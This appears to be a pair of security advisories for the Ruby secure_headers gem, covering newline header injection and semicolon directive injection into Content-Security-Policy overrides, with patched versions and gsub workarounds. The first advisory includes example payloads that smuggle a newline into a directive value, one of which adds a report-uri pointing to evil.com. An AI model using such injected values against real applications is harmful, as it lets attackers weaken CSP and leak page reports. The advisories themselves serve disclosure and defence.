Package Instance

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter

Directive injection when using dynamic overrides with user input
### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter